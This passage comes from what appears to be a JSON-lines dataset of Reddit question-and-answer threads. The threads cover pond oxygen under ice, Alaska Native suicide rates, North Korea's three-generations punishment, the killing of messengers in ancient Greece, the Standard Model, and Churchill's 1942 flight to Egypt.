ice is really thick, and bodies of water with a 'normal' level of life contain enough oxygen -- even more when the water's cold than when it's warm -- for critters to survive a good while even if there's no air exchange.  It'd be like hermetically sealing your house with you inside -- even with no air exchange, you'd be able to survive at least a couple weeks before you keeled over.  (And, FWIW, that would actually be because of CO2 buildup, not an oxygen shortage, but either way, you've got a bit -- and you'd be very uncomfortable for a while before you did keel over.)  \n\n & #x200B;\n\nTLDR: Cold critters use a lot less oxygen and produce a lot less waste, so in a normal-sized pond with a normal amount of life in it, for the area, they can stretch what's there to get by. ", "They tend to reduce their activity to reduce oxygen consumption. Fish can survive on 3 parts per million oyxgen, and water tends to contain 10 parts per million, so they are usually ok. This can be impacted by rotting organic matter, as bacteria consume a lot of oxygen. There are also often open areas where oxygen can diffuse in, and unless very thick some oxygen can reach down into the water, and photosynthesis can generate some oxygen.\n\nSome species like Trout are less tolerant of low oxygen levels, and shallow water tends to have more die offs because it has less reserves.\n\nAs a side note, you seem to know this, but as ice is less dense than water at these temperatures, only the top layer freezes. _URL_0_ at certain times of year there's a lot of water turnover, and the oxygen rich surface layer can replenish the deep water's oxygen reserves. ", "Hello Holden.\n\nIn a more serious answer, only the top layer of water freezes, and for most lakes there will be a layer of ice that stays consistent for most of the winter. This means that the water carries a lot less oxygen, so most of the fish in the water are far less active but not necessarily hibernating in state. Fish still have to move to pass water through their gills to respirate. That\u2019s why ice-fishing is a thing in colder climates, you can safely walk or even drive on top of ice that is thick enough. Drill a hole through it, and voila, you can fish through the ice for whatever is hanging out beneath it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Dimictic_lake"], []]}
{"q_id": "2zrob2", "title": "Are Alaska Natives' issues with depression and suicide modern, or have the communities always struggled with high depression and suicide rates?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2zrob2/are_alaska_natives_issues_with_depression_and/", "answers": {"a_id": ["cplru58", "cply8oa", "cpm2uke", "cpm985r"], "score": [19, 84, 9, 15], "text": ["Additional question: is there any correlation here with Native Americans' increased susceptibility to alcoholism?", "I would argue that much of those issues, are the consequences of Residential Schools that were present in Canada and the U.S.A from the 18th century to as late as 1996 and many more societal problems common today in Native American communities.\n\n The purpose of these schools was to assimilate natives into European culture through constant immersion. That was accomplished through removing children from their homes and enrolling them in these schools at a young age. There was little to no tolerance for the speaking of languages other than those allowed and,  very often, any remotely cultural behavior or sentiments shown by these children were punishable. From alumni testimonies that have come to light, the schools were rampant with physical, psychological, emotional and sexual abuses. The institutions are cited as a major force in the cultural genocide of First Nation peoples and the experiences there as one of the leading causes for the development of depression and other mental illnesses in Native peoples in the past. \n\nSo to answer your question, the issues today are the accumulative product of several generations of colonialism and systematic oppression in North America. Much work remains to heal the damage. You can read up in more detail about government settlements, testimonies, history, and what work is being done with these sources:\n\n[Residential School Settlements, Canada](_URL_2_)\n\n[Testimonies](_URL_3_)\n\n[Further reading List from the same website above](_URL_4_)\n\n\n[Government support resources](_URL_1_)\n\n[More detailed analysis and history](_URL_0_)", "There are a host of interrelated issues that have been put forward as root causes. While the legislation and the history varies between the former colonies (US, Can, NZ, Au) here are some of them:\n\n* Historical Trauma - Dr. Maria Yellow Horse Braveheart, Joseph Gone, Duran  &  Duran \n* Ongoing systemic oppression - Stephanie Irlbacher-Fox (Canada negotiation), Elizabeth McGibbon (oppression as determinant of health)\n* Social suffering - Naomi Adelson, Stephanie Irlbacher-Fox\n* Criminalizing addiction - Dr. Gabor Mate, Dr. Lawrence Kirmayer\n* Cultural safety - Irihapeti Ramsden + now widespread in health field and slowly in education\n* Decolonizing research methodologies - Linda Tuhiwai Smith, Shawn Wilson (Research is Ceremony), Donald Fixico\n* Decolonization literature - Glen Coulthard, Leanne Simpson (Dancing on turtle's back), Taiaiake Alfred\n\nTo make a very long story short, colonization (residential schools, reserves, epidemics, land loss, subsidence resource loss, etc.) led to loss of culture and language, breaking of family relations and social ethos over the course of generations which is today experienced as unresolved grief and PTSD which in turn lead to psychosocial issues and thus self-medication through substance abuse. While these may be viewed as individual issues they are arguably societal/collective responses to sustained oppression and ongoing systemic injustice. The state usually makes historical argument that injustice was in the past (eg. apology for residential schools in Can.) thus shifts responsibility for restitution in the present while at the same time uses contemporary Indigenous suffering to maintain state control (i.e. Indigenous people are not well enough to take care of themselves thus the state will do it for them). And the cycle repeats through weak and ineffective policy (eg. In Can the Indian Act from 1876 is still in force today, that is 139 years and counting).\n\nApologies that most of these are from Canada (most familiar with this literature) and not specifically about Alaskan Natives but it gives a good idea of the main arguments out there.", "There actually are long cultural traditions of altruistic suicide in both Arctic and Siberian groups. If you're not up on your Durkheimian categories of suicide, \"altruistic\" refers to suicides intended to benefit the larger society or group. So a soldier who throws himself on a grenade is an altruistic suicide, for example. In Arctic societies and elsewhere, this typically manifests as suicide by the elderly once they begin to require substantial care. The stereotypical \"old man left on an ice floe\" idea is the gross simplification of this, but these incidents can also involve what could be called assisted suicides, with some blurring into what could also be termed voluntary homicide. If you have HRAF access, there are some very moving accounts of the elderly essentially badgering their children into stabbing them in the heart. \n\n[I've written about this particular phenomenon before](_URL_4_) on /r/AskHistorians. I will add this small piece from Boas' 1888 report, *The Central Eskimo*:\n\n >  I may add here that suicide is not of rare occurrence, as according to the religious ideas of the Eskimo the souls of those who die by violence go to Qudlivun, the happy land. For the same reason it is considered lawful for a man to kill his aged parents. In suicide death is generally brought about by hanging.\n\nSo there is absolutely a tradition of altruistic elderly suicide among Arctic peoples, but this is also absolutely a red herring in discussing this question. It is a fallacy to think that the incredibly high rates of suicidality among native groups can be attributed to deeper cultural structures when the evidence is abundant that contemporary lived experiences are more explanatory. Kral ([2012](_URL_5_)) says that \"In order to understand suicide [among Canadian Inuit], one needs to first understand the perturbation behind it,\" noting that coerced settlement and acculturation in the 1950s and 60s essentially created an inter-generational disconnect. This in turn undermined the social order and methods of conflict resolution and support. As Kral puts it, \"colonialism unravels the social worlds of the colonized, creating a collective anomie.\"\n\nSo even if the emic explanation of suicide in these societies hinges upon proximal triggering events, we cannot avoid the reality that these events are occurring against a backdrop wherein the traditional social framework has been up-ended. We can see a similar pattern in suicides in Chuuk/Truk ([Hezel 1984](_URL_1_)) and in Amazonia among the Jivaroa ([Brown 1986](_URL_3_)). While noting that the immediate explanation for a youth's suicide is most often social conflict in the form of romantic or familial distress, Brown notes that \"the precipitating event may have only been the most conspicuous part of a longer process of deteriorating social ties.\" In addition to the unraveling of societal bonds, MacDonald ([2003](_URL_0_)) proposes that, particular in small communities, there can be a \"wave\" effect of suicides as a singular event such as an economic or health crisis which triggers suicides leads to a normalization of the act, which itself leads to further suicides beyond the original epidemic.\n\nSo, again, it is misleading to think of there being a historical \"tradition\" of suicidality among these groups, and that being an explanation for high rates in the present. These are groups which have undergone profound and often involuntary transitions even in recent generations, so the idea of harkening back to centuries long gone as explaining the contemporary situation is intrinsically problematic even as it highlights the difficulties facing modern communities. Far more explanatory are high rates of poverty, lack of opportunities, social disconnection, prevalence of drug/alcohol abuse, and access to firearms. Patel  &  Kleinman ([2003](_URL_2_)) did a meta-analysis on mental disorders (including suicidality) in developing countries finding that major factors to consider were income, insecurity, hopelessness, social change, education, gender, and comorbidities. While this factors certainly have historical causes, turning towards a histori-cultural explanation of high suicide rates in Native American/First Nation communities elides over the fact of present day hardships and intrinsically leads to an \"othering\" of those groups.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://indigenousfoundations.arts.ubc.ca/home/government-policy/the-residential-school-system.html", "http://www.hc-sc.gc.ca/fniah-spnia/services/indiresident/irs-pi-eng.php", "http://www.residentialschoolsettlement.ca/english.html", "http://wherearethechildren.ca/en/stories/", "http://wherearethechildren.ca/en/resources/"], [], ["http://kyoto-seas.org/pdf/40/4/400401.pdf", "http://micsem.org/pubs/articles/suicide/frames/cultpatfr.htm", "http://www.who.int/bulletin/volumes/81/8/Patel0803.pdf", "http://lanfiles-vm.williams.edu/mbrown/Brown-SuicideMan86.pdf", "http://www.reddit.com/r/AskHistorians/comments/1o05zg/why_did_eskimos_kill_the_elderly_in_their_society/ccnpyna", "http://www.ncbi.nlm.nih.gov/pubmed/22392639"]]}
{"q_id": "8vtu0l", "title": "What is the historical evidence for North Korea putting \"three generations\" of a dissident's family into labor camps?", "selftext": "**Please note this is absolutely not some kind of NK-version of a Holocaust denial post!**\n\nNK is in the news a lot lately, and something that never fails to be mentioned in a reddit thread about NK is the \"three generations\" policy, where someone deemed an enemy of the state is sent to labor camps along with their parents and children.\n\nI was curious to read more about this. The history of the policy, the stories of NK refugees who had experienced this horror, etc. So I started googling around old askhistory threads and wikipedia and so on. I.e. places where you can follow the sources.\n\nI was surprised to find that almost every instance I encountered of this claim was unsourced. On wikipedia, I found that the only cited mentions of the policy pointed to this Freedom House report:\n\n_URL_0_\n\nSeveral other articles on the web mentioning the three generations policy also cited this report.\n\nHowever that report also makes claims about the three generations policy without any apparent insight on how this information was sourced. Except for this important 1972 quote from Kim Il Sung:\n\n >  Factionalists and enemies of class, whoever they are, their\nseed must be eliminated through three generations\u201d\n\nVarious versions of this quote (due to translation differences etc.) are present in several articles I found talking about the three generations policy.\n\nThe thing is, I can't find any concrete information about the *application* of the policy. There's nothing in Kim Il Sung's quote that is prescriptive about labor camps, or the other commonly repeated things about the policy such that the parents/children may be released on the death of the \"traitor\". \n\nWhat are some sources I could read for some real information on this policy?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8vtu0l/what_is_the_historical_evidence_for_north_korea/", "answers": {"a_id": ["e1r8zsb"], "score": [30], "text": ["I can't really provide primary sources on the practice because I don't have any on hand, but you may be interested in reading more about the practice in the book *North Korea Confidential*. It's written by two journalists that write for the Economist (I think), and I actually don't like this book very much since it reinforces the idea that North Korea is a one man dictatorship state (or a monarchy as it were) while claiming to disprove this notion which has been so prevalent in Western media (which it doesn't even try to do). Anyways I'm suggesting this book because it has a passage on what you're looking for:\n\n > \"Perhaps most importantly, political imprisonment happens not merely to individuals, but rather, to whole families. A principle called yeonjwaje, or guilt by association, sees three generations of a family all sent to the gwalliso for the crimes of one member. Naturally, this acts as a great deterrent against challenging the regime. A man who distributes anonymous leaflets criticizing Kim family rule, for instance, may be joined in the camp by his children, his brothers and unmarried sisters, and his parents. His wife may be spared if she agrees to divorce him immediately. Married sisters would not join him, as the traditional Korean conception of the family is patrilineal, and when a woman marries, she is considered to have left her family.\n\n > Here, we can see once again the feudal mentality of the DPRK. The \u201cthree generations\u201d idea is not communist in origin, but rather derives from Korea\u2019s monarchical past. During the Joseon Dynasty, men who passed tough national examinations were brought into government service, and given land for three generations. Similarly, sons and grandsons of criminals and political opponents were discriminated against by the state  (Found in Chapter 4)\n\nThis book does get the cultural contexts of a lot of North Korean phenomenons correctly, which is difficult to find in books written in English, and partially perhaps, the reason why you were unable to find any real sources on the practices is because scholars sometimes fail to note their sources when the information seems particularly obvious even in cases when it is absolutely justified for people to ask for sources and verification. Thankfully, the writers of *North Korea Confidential* did note the origins of the cultural practice, and I think you may be able to find more on the discussion of this practice if you consult Korean sources: maybe something will come up if you search \uc5f0\uc88c\uc81c (yeonjwaje). "]}, "title_urls": [], "selftext_urls": ["https://freedomhouse.org/sites/default/files/ConcentrationsInhumanity.pdf"], "answers_urls": [[]]}
{"q_id": "ac7j42", "title": "Exactly how common was it to kill the messenger.", "selftext": "obviously its become a saying in modern parlance to NOT do it, but exactly how dangerous of a profession was it to be the royal messenger/ emissary who had to go to a foreign perhaps hostile nation, deliver potentially bad news and be totally and completely under their power. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ac7j42/exactly_how_common_was_it_to_kill_the_messenger/", "answers": {"a_id": ["ed6h0az", "ed7brnp", "ed92y8q"], "score": [4189, 5, 12], "text": ["One particular Ancient Greek case is now a genuine [icon](_URL_0_) of Western pop culture. The scene from *300* is based on a real event, described by our main source for the period:\n\n >  To Athens and Sparta Xerxes sent no heralds to demand earth, and this he did for the following reason. When Darius had previously sent men with this same purpose, those who made the request were cast at the one city into the Pit and at the other into a well, and told to obtain their earth and water for the king from there. \n\n-- Herodotos 7.133.1\n\nBut the movie tells this story in a very strange way. It presents the murder of the Persian messengers as Leonidas bravely taking a stand. His rejection of their proposal is so fateful and definitive that the death of the envoys says exactly the same as the message they would have carried to Xerxes. This is very far removed from the way Herodotos describes it: as one of the most terrible crimes ever committed by Sparta, which they begged Xerxes desperately to forgive them.\n\nBy Greek custom, all heralds and ambassadors were sacrosanct. They were the professionals who made peaceful interaction between states and peoples possible, and as such they were considered to be under the direct protection of Zeus, Hermes and the other gods. Any act of violence against a herald was an act of violence against the gods themselves. Those who killed messengers were thought to bring down a most severe, inescapable curse on themselves, their community and their state. And there was little that could terrify Greeks as much as the thought of going through life at the lasting displeasure of the gods.\n\nThe travel writer Pausanias gives a good idea of what the Greeks believed to be the consequences of killing a herald:\n\n >  As you go to Eleusis from Athens along what the Athenians call the Sacred Way, you see the tomb of Anthemokritos. The Megarians committed against him a most evil deed, for when he had come as a herald to forbid them to encroach upon [the sacred land at Eleusis] in future, they put him to death. For this act the wrath of the Two Goddesses [Demeter and Persephone] lies upon them even to this day, for they are the only Greeks that not even the emperor Hadrian could make more prosperous.\n\n-- Pausanias 1.36.3\n\nThe \"even to this day\" is the most telling part. The episode with Anthemokritos seems to have taken place in the second half of the 5th century BC. Pausanias is writing in the time of Emperor Hadrian - the 2nd century AD. The divine wrath, then, that the Megarians invoked by killing a single messenger, is supposed to have haunted them for *more than five hundred years.*\n\nIn other words, what the Athenians and Spartans did to the messengers of Darius was blasphemy; it was madness. The murder was an unforgivable sacrilege, and it was taken for granted that they would suffer a horrific punishment for their crime. Right after the lines cited above, Herodotos makes this clear in no uncertain terms:\n\n >  What calamity befell the Athenians for dealing in this way with the heralds I cannot say, *except that their land and their city were laid waste.*\n\n-- Hdt. 7.133.2\n\nEven the fact that Athens was literally razed to the ground by the invading Persians was not enough for Herodotos to assume that the city had done its penance. That is how much of an interest he expected the gods to take in ruining Athenian lives.\n\nSo what about the Spartans? What price did they pay for their outrageous act? Herodotos says that they incurred the wrath of no other than Talthybios, the deified herald of Agamemnon from the story of the Trojan War - a bona fide god of messengers. For many years after they kicked the Persian envoys into the well, the Spartans could not get good omens from any of their sacrifices. Spartans were famously pious, and would not do anything if the omens were bad; a prolonged streak of this would have paralysed them as a state and as a community. At length, driven to despair and unable to figure out how else to appease the gods, they sent two volunteers to the Persian court to restore the balance. That is, they sent two men to Xerxes to beg for death. The pair travelled thousands of kilometers to plead with the Great King to execute them in turn, to atone for the sins of the Spartans. But Xerxes was better than his enemies:\n\n >  Xerxes, with great magnanimity, replied that he would not imitate the Lakedaimonians. \u201cYou,\u201d he said, \u201cviolate the laws of all humans by killing heralds, but I will not do that for which I censure you, nor by putting you to death in turn will I set the Lakedaimonians free from this guilt.\u201d\n\n-- Hdt. 7.136.2\n\nHerodotos suggests that the willingness of the two Spartans to sacrifice themselves may have allayed Talthybios' anger for a while, but the curse was not truly lifted until a pair of Spartan messengers were caught and executed by the Athenians more than 50 years later, at the beginning of the Peloponnesian War.\n\nThis may be just a story in Herodotos, but we have no reason to believe that his notion of a common respect for messengers was not based in reality. There are no other examples from Greek history of messengers being murdered, even when the messengers are not Greek, or when they offer only tidings of misery and terror. Most scholars accept Xerxes' response as representative of actual Persian attitudes. It is difficult to imagine interstate relations of any kind, had their treatment of heralds been different. Heralds would not be harmed because, at the most practical level, their freedom to travel and speak could prevent wars and save lives; at a more religious level, those who harmed them would bring about the destruction of their own home and people.\n", "What a great question and top answer, fascinating!. Thank you to you both!", "I couldn't find an answer to this in the comments, so let me ask a dumb question.\n\nIf the Spartans knew it was so bad to kill the messengers, why did they... kill the messengers?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=QkWS9PiXekE&amp;t=2m48s"], [], []]}
{"q_id": "8hrzf9", "title": "Why isn't the Standard Model of particle physics considered a Grand Unification Theory?", "selftext": "As far as I understand it, Grand Unification Theories seek to explain all forces in physics (EM, Nuclear Strong, Nuclear Weak, and gravity) as ultimately the same underlying force.  The first three how been shown to be the same but gravity is still an outlier.\n\nWith the now completed Standard model can't all of these forces be explained through the interaction of particles?  We have the Higgs boson for mass, gravitons for gravity, electrons for EM etc...  Isn't this a unifying mathematical model which can describe any force in the universe?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8hrzf9/why_isnt_the_standard_model_of_particle_physics/", "answers": {"a_id": ["dym4i0y", "dym4ots", "dym7csj", "dymopat"], "score": [16, 5, 2, 2], "text": ["The Standard Model doesn't have gravitons or even attempt to describe gravity. It also only unifies electromagnetism and the weak interaction. The strong interaction is described completely separately.", "The Standard Model has currently three types of force carriers (\"gauge bosons\"): photons, W/Z bosons and gluons, for the electromagnetic, weak and strong forces respectively.\n\nThe electromagnetic and weak forces have been unified in the sense that at very high energies, the photons and W/Z bosons \"merge\" into a single type of force carrier.\n\nBy definition, a Grand Unified Theory would explicitly show that at even higher energies, also the gluons would merge and there is a single type of force carrier, and concurrently, there is only a single coupling constant, determining all interactions.", "The big big problem is gravity.\n\nAnd it's not just that we haven't found gravitons yet, or that they don't fit into the current Standard Model. We have no idea what the quantum fluctuations of a body have on its gravitational field, and as a result we don't know what gravity acts like at super-close distances.\n\nUsually these effects are far too small to measure. As such we can use gravity for heavy stuff and quantum mechanics for small stuff, and this is \"close enough\" as long as we don't have to deal with anything both heavy and small... like a micro black hole or something.", "You got several things wrong.\n\n > As far as I understand it, Grand Unification Theories seek to explain all forces in physics (EM, Nuclear Strong, Nuclear Weak, and gravity) as ultimately the same underlying force.  The first three how been shown to be the same but gravity is still an outlier.\n\nGrand unification unifies strong, weak and electromagnetic. that's not achieved. A unified theory including those three and gravity is called theory of everything. Not grand unification. \n\n\n > With the now completed Standard model can't all of these forces be explained through the interaction of particles?\n\nNo. \n\n > We have the Higgs boson for mass,\n\nThe Higgs mechanism is responsible for some of the mass, not all. It's not correct to associate it (or the Higgs Boson) with mass. It's not correct to associate the higgs Boson with mass any more than it is to do the same with the photon or gluon. \n\n > gravitons for gravity,\n\nThere is no quantum field theory describing the graviton. Just giving it a name doesn't make it happen. \n\n > electrons for EM etc... \n\nThe electromagnetic interaction happens through the electromagnetic or photon field. The electron field is something else. \n\n\n > Isn't this a unifying mathematical model which can describe any force in the universe?\n\nIt's not a unifying model. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "73ez74", "title": "what is the difference between a propellor and an impeller?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/73ez74/eli5_what_is_the_difference_between_a_propellor/", "answers": {"a_id": ["dnpsgtn"], "score": [11], "text": ["An impeller is designed to push a fluid outward from the center of rotation (perpendicular to the axis of rotation). A propeller is designed to push a fluid behind the blades to produce thrust (parallel to the axis of rotation)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2dgeb7", "title": "- is dying of a broken heart real? is there a scientific explanation?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2dgeb7/eli5_is_dying_of_a_broken_heart_real_is_there_a/", "answers": {"a_id": ["cjp8qod", "cjp8vfn", "cjp9q5d", "cjphr13"], "score": [5, 18, 2, 2], "text": ["Yes, it's called [Takotsubo Cardiomyopathy](_URL_0_) and is the subject of quite a bit of study. It's mostly stress induced, I think. There's also the whole 'not caring for yourself anymore' factor as well.", "As a matter of fact, yes, it is. In the early 90's, Japanese cardiologists first described a phenomenon they named \"Takotsubo Cardiomypopathy\" which roughly translates to Octopus Pot in Japanese. It is characterized by a sudden weakening of the cardiac muscle fiber and can be brought on by strong emotional stressors such as the loss of a loved one. The name comes from the shape the heart takes on as viewed via a CXR, or, more likely an echocardiogram which strongly resembles the type of pot that traditionally would be used to catch octopi in Japan. The actual presentation mimics an anterior wall MI (heart attack) but there is no blockage and thus no infarct-only temporary (and many times reversible) weakening of the heart tissue. ", "Although I don't have the scientific side of this, I will say that I have witnessed this first hand.\nAfter my grandfather passed away from lung cancer, my grandmother passed away five days later. She had just finished having his funeral, sorting out their wills, and consoling her children.\nMy grandmother was completely healthy and had no major health problems. She loved him with every fibre of her being and had always told us she wouldn't feel right being here without him.\nFrom what my mother has told me, she found her sitting in my grandfather's favourite chair and thought she had been sleeping but couldn't wake her up.", "When we look at the effects of events in healthcare, we often give a \"Five Year Survival\", that is the number of people in a cohort who are still alive five years after the event. That might be a cancer or a fractured hip (70%). The five year survival for loss of a spouse is astonishingly low. I'm sure I've seen a study that pegged it at something like  < 50% but I can't find it.\n\nFrom my experience both professionally and personally, people just give up when their spouses die. They give up on looking after themselves, give up on living, fighting etc. Add in the physiological effects of the severe stress/strain of a bereavement and people will genuinely die of a broken heart. NAD on PM."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Takotsubo_cardiomyopathy"], [], [], []]}
{"q_id": "2mogn8", "title": "How did Churchill get to El Alamein in 1942?", "selftext": "I just saw a picture of Churchill in El Alamein in 1942 relieving the commanding generals.  Given a straight shot to Egypt from London involved flying over a lot of hostile territory, how did he get there?  What measures were taken with his route and mode of transport to get him there as safely as possible?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2mogn8/how_did_churchill_get_to_el_alamein_in_1942/", "answers": {"a_id": ["cm6311m", "cm64tf7", "cm65x5s"], "score": [3, 8, 7], "text": ["_URL_0_\n\nthis was the picture i was referring to", "I can't comment on what route Churchill took on this particular trip, but the usual method of air transportation, after the Torch landings in Nov 1942, involved heading west out of the UK, and then south in a wide arc around down to Portugal. From there, depending on the time of the war, in another southward arc across Africa.\n\nThis trip could be dangerous; in June 1943, an airliner flying the UK - >  Lisbon leg was shot down by German long-range patrol aircraft over the Bay of Biscay; among the dead was Leslie Howard. Later in the war, Churchill used a converted Avro York as his personal aircraft, complete with a pressurized \"egg\" so he could smoke, and avoid an oxygen mask.", "Churchill flew from London to Cairo via Gibraltar in a B-24 Liberator  converted for passenger travel called Commando ([photo of Churchill in Commando in 1943](_URL_1_)).  No one but the crew knew the flight plan in advance to prevent leaks, though flying was still a risky business; Churchill flew from Cairo to 8th Army Headquarters, and two days after he returned General Gott, Churchill's original choice of commander for the 8th Army, was killed flying the same route when his aircraft was shot down.\n\nThere's [an interesting article](_URL_0_) from the Smithsonian's Air  &  Space magazine about Commando and its crew."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://ww2days.com/images/North_Africa_Churchill_El_Alemein_Area_August_7_1942_280x295.jpg"], [], ["http://www.airspacemag.com/history-of-flight/travels-with-churchill-136166507/?all", "http://www.iwm.org.uk/collections/item/object/205189669"]]}
{"q_id": "688ng5", "title": "Renaming, removing and \"historical memory\" - do we \"whitewash\" our past?", "selftext": "A big piece of news in the city where I like is that one of the major cultural venues is changing its name ([BBC article](_URL_0_)). The Colston Hall is named for 17th century merchant and slave trader Edward Colston. If there are any Massive Attack fans, the band have consistently refused to play the venue because of its name.\n\nUnsurprisingly this has divided opinions, with those against often saying that we are whitewashing (sic) the past, judging it by our standards, or making it easier to forget.\n\nOf course, this is a topic with broader relevance than Bristol. It makes me think of some recent discussion about confederate memorials in the US.\n\nObviously the issues here are not limited to history, and I don't want to break out of the sub's remit. However I am interested in academic perspectives on the subject. Are there any notable cases by academics for or against?\n\nI think the most limited I can make this question is to make it one about education or public awareness/understanding. What effect does, say, having a hall named after a slave trader have on people's views of a city's history? Would someone promoter of public engagement with history facepalm to see it changed, or be happy for the chance to change focus?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/688ng5/renaming_removing_and_historical_memory_do_we/", "answers": {"a_id": ["dgwl9tb", "dgwy54g"], "score": [46, 6], "text": ["I spent the final year of my three-decade career administering a historic preservation office, rewriting the historical markers that were under my auspices. Most were put up in the late 1960s, and many included language that was consider offensive by 2012. (Some were also, simply, grammatically clumsy or historically incorrect.) I was then asked to participate in an interview on a talk radio station where the moderators and the audience accused me of whitewashing history. Using terms like \"squaw\" or \"horde\" (to describe Chinese immigrations) was historic - I was told - and I was trying to change past, to change history itself. Also, I changed language that described conflicts between settlers with Native Americans as \"this is where we fought the Indians.\" Since Native Americans were also citizens of the state, there could be no \"us\" versus them, but rather the conflict was between two groups - both of whom have descendants that are full-fledged members of the community.\n\nMy response was that there was a confusion between the terms \"historical\" and \"historic.\" The markers were historical; that is, they were about history. They were not historic; that is, having significance in and of themselves. The way we view history changes, and markers that describe that perception should change also as new facts and/or perspectives emerge. Preserving racism in a historical marker, because it is 45 years old and should be revered, would be bad public policy. The markers needed to be changed. I suggested to the radio personalities and audience that if the markers had some old-fashioned, \"colorful\" terms to describe African Americans, we would all be falling all over ourselves to change them (as well we should!). I suggested that the Native Americans and the Chinese Americans (and others) deserved the same consideration.\n\nYour examples are slightly different, but not really. Various monuments are erected, and building are named, all to honor certain people and events. Again, historical perspective change, and as we learn new facts or as we realize that an honor was not warranted, the present should reserve the right to take away honors bestowed. We should not be prisoners of the choices and perspectives of the past. Statuary Hall in the US Capitol, for example, includes two statues from every state - people that each state have decided deserve to be honored. States often replace those statues as perspectives change. That is a healthy process. It demonstrates that we are engaged with our past and interpretation and perspective is not stagnant. Nor should it be.\n\nThe assertion can be made, I suppose, that at some point a historical marker - like a monument or the name of a building - becomes historic. We would not recommend tearing down a statue of Caligula in the town square of an Italian village, even though he was clearly a jerk. Would we? The statue would be historic. Not merely historical. But I suppose if people in the village viewed the statue as a symbol of their own, painful, on-going oppression, they would have the right to tear it down. Soviet statues - many of which could be argued had been around for decades and had become \"historic\" - were removed after the fall of communism. People regarded then as symbols of oppression that continued to be painfully felt. They did not want to live with the symbol and the ongoing reminder to that oppression and pain, and they did not want to give public honors to the oppressors.\n\nSo I suppose that is the question: we need to ask ourselves about a monument or the name of a building whether it is an on-going symbol and expression of oppression. A monument or name that honors a slaveholder or the oppression of slaves doesn't matter if no one identifies with the oppressed group - or more importantly with the oppressors. On the other hand, if people literally \"rally around\" the monument to celebrate oppression of the past that they wish to continue into the present, the present has a right if not an obligation to remove that publically-owned symbol. Why, after all, should the oppressed have to pay taxes to maintain something that is actively used to contribute to their oppression? \n\nThat is why I changed the text of my historical markers. If a Native American child read a publically-owned marker that used the word \"squaw\" or talked about how \"we\" defeated her great-grandparents and made her feel less of a citizen, we are obliged to change how we refer to the past and to change that text. To tear down that monument. To change the name of that building.\n\nEdited to change some clumsy grammar. Because the way we describe the past should stand ready to be changed!", "History has always been political. If we're to believe Napoleon, history is merely a \"set of lies agreed upon.\" There has always been an effort to get history on side of contemporary issues, from the modern politician's bombastic claim that \"America is the Greatest Country in History\" to the Federalists and Democratic-Republicans rhetorically sparring to side their particular view of American democracy with the memory of George Washington. Even earlier, rabble rousers, political provacateurs, malcontents and protestors of all stripes attempted to lend legitimacy to their political actions by wedding them to popular memories of classical heroes: Brutus and Gracchus come back to life as exemplars of whatever virtue is necessary.\n\nOf course, none of this was new or unique to the United States, but it speaks to a great degree of the research for my master's thesis, which is largely concerned with the militia and memory of the War of 1812. The war in popular memory today is insignificant; it is represented as a minor roadbump in the road toward the inevitability of WASPy domination of the continent, but at the time it was (I would argue) a crisis point in terms of the direction of the country's development. Men and women who were involved in the war *were aware* of this, and were absolutely committed to preserving their particular view of the war for posterity.\n\nWhile it happened to a great degree *after* the war, it was taking place while it raged. Men of the militia in Ohio and Michigan motivated themselves and each other by recalling the glorious victories had by rugged frontiersmen against the \"indian menace\" at Tippecanoe and Fallen Timbers, while men of New York and Pennsylvania were urged to remember their fathers, and the famous victories over British tyranny at Saratoga and Bennington. To balk, to refuse service, to desert or to agitate was to sell this memory for comfort and luxury of political slavery under British domination. Or so it was argued.\n\nA couple of examples are particularly illuminating. In the early months of 1813, General Alexander Smyth, the newly-minted theater commander of the army in the Niagara country, was attempting to organize an invasion. Apart from the typical logistical and organizational concerns, to say nothing of keeping secrecy in a relatively porous frontier, Smyth had to contend with a peculiar civilian-military relation represented by the militia. Neither entirely soldier nor entirely civilian, a militia man was intended to combine civilian oversight of the military with the military power of a regular, and the War of 1812 saw ideological conflicts over the use of the militia as a regular occurrence.\n\nIn any case, in the early months of the war it was made clear by governors, generals, and other leaders that they fully expected a portion of the militia to refuse to cross state or international boundaries. The effort for clearly articulating to would-be militia that they were expected to invade was felt even at the highest levels of command. Henry Dearborn, writing to Simon Snyder in August, cited the Militia Acts of 1795 before stating that \u201cthere should be an understanding amongst the officers and Soldiers before they march, that it will be expected they will make no objection, if required to cross over to Upper Canada.\u201d Dearborn wanted to be sure that any new troops on the move were aware that they would be put to use beyond the territory of the United States. Without that understanding, \u201cthere would be little, or no use in their marching to Niagara.\u201d \n\nAnyway, Smyth, like Van Rensselaer, Hull, and other military commanders, circumvented this possibility by asking for volunteers from the militia to perform limited actions. When Smyth - an unpopular, inexperienced officer who made more enemies than friends - asked for volunteers, he did it with a particularly bellicose proclamation that utilized all of the rhetorical strategies listed above: recalling the shared heroic past of all Americans against British tyranny, connecting masculinity with arms-bearing, making military subservience the boundary line between enlightened masculinity and \"degeneration,\" etc. It's a doozy of a proclamation.\n\nIt didn't work. Smyth was unable to collect enough volunteers for the job, and he scrapped the attempt. However, unlike many of the other events of this kind throughout the war, where it was assumed that the militia balked either because of cowardice, constitutional scruples, or other implicitly \"degenerate\" reasons, we have a response to Smyth's proclamation from the militia *in their own words*. In summation (because otherwise I'd quote the entire thing at length), the militia said that Smyth was arguing for a *particularly military* definition of virtue and of masculinity, and that their version of the same had little to do with invasion or 